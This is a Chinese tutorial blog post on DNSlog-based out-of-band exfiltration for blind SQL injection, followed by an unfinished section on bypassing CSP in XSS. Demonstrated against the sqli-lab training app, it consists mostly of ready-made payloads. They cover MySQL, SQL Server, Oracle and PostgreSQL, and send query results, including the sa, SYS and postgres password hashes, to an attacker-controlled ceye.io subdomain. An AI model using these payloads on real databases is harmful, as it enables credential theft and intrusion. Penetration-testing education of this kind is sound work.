dnslog mysql注入_DNSlog实现无回显注入

背景

在某些不能直接通过漏洞获得回显信息的情况下,我们可以利用DNSlog来进行突破,在发起DNS请求的时候,会把我们想要得到的数据一同外带出来。

在SQL盲注中,最常用的就是二分法了,这种方法不仅麻烦,而且经常的发送请求,还容易被waf探测到,这时利用DNS解析时产生的日志来查看我们想要的数据就方便得多了。

可使用场景:SQL注入中的盲注

XSS绕过CSP

无回显的命令执行

无回显的SSRF

原理

基本原理从下图可以看明白,我们自己搭建DNS服务器,将需要查看的数据放到我们搭建的二级或者三级域名上去,通过DNS的解析日志就可以查看到数据。

1576937709.png

DNSlog平台

我们可以直接使用在线平台:http://ceye.io

如果自己有服务器和域名的可以使用BugScan的开源项目:https://github.com/bugscanteam/dnslog/

我们用到的就是红框中的域名

1577000150.png

利用场景1:SQL盲注

环境:phpstudy自带的mysql、sqli-lab

前提:具有load_file权限,secure_file_priv不为null

payload:select load_file(concat('\\\\',(select user()),'.xxx.ceye.io\\abc'))

以sqli-lab的less-9为例:

执行payload:http://192.168.255.134/sql/Less-9/?id=1' and if((select load_file(concat('\\\\',(select user()),'.xxx.ceye.io\\abc'))),1,1)--+这里concat()函数将查询的结果与三级域名拼接到一起,load_file()用于向\\查询结果.xxx.ceye.io\abc发起请求

在CEYE平台的Records-->DNS Query下可看到数据:

1577013562.png

[scode type="red"]注意:load_file()在linux下不能用来做DNSlog查询数据。因为这里利用的是windows下的UNC路径,而Linux没有UNC路径这个东西。

[/scode]以下摘自百度百科:

UNC(Universal Naming Convention):通用命名规则,也称通用命名规范、通用命名约定。

UNC为网络(主要指局域网)上资源的完整Windows 2000名称。

1:什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。

2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。

格式:\servernamesharename,其中servername是服务器名。sharename是共享资源的名称。

其他数据库payload

a. MySqlselect load_file(concat('\\\\',(select user()),'.xxx.ceye.io\\abc';

b. SQL ServerDECLARE @host varchar(1024);

SELECT @host=(SELECT TOP 1

master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name='sa')

+'.ip.port.b182oj.ceye.io';

EXEC('master..xp_dirtree

"\\'+@host+'\foobar$"');

c. OracleSELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');

SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;

SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;

SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

d. PostgreSQLDROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd

FROM pg_shadow WHERE usename='postgres');

exec_cmd := E'COPY table_output(content)

FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';

EXECUTE exec_cmd;

END;

$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function();

利用场景2:XSS绕过CSP

[scode type="yellow"]什么是CSP?[/scode]

CSP是内容安全策略(Content Security Policy)的缩写,它的实质就是一种白名单策略,在请求中添加Content-Security-Policy头来告诉浏览器哪些是能加载的,哪些是不能加载的(它的实现和执行全部由浏览器完成)

更多知识可查看:案例!使用CSP防止XSS 攻击入门、内容安全策略(CSP),防御 XSS 攻击的好助手

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值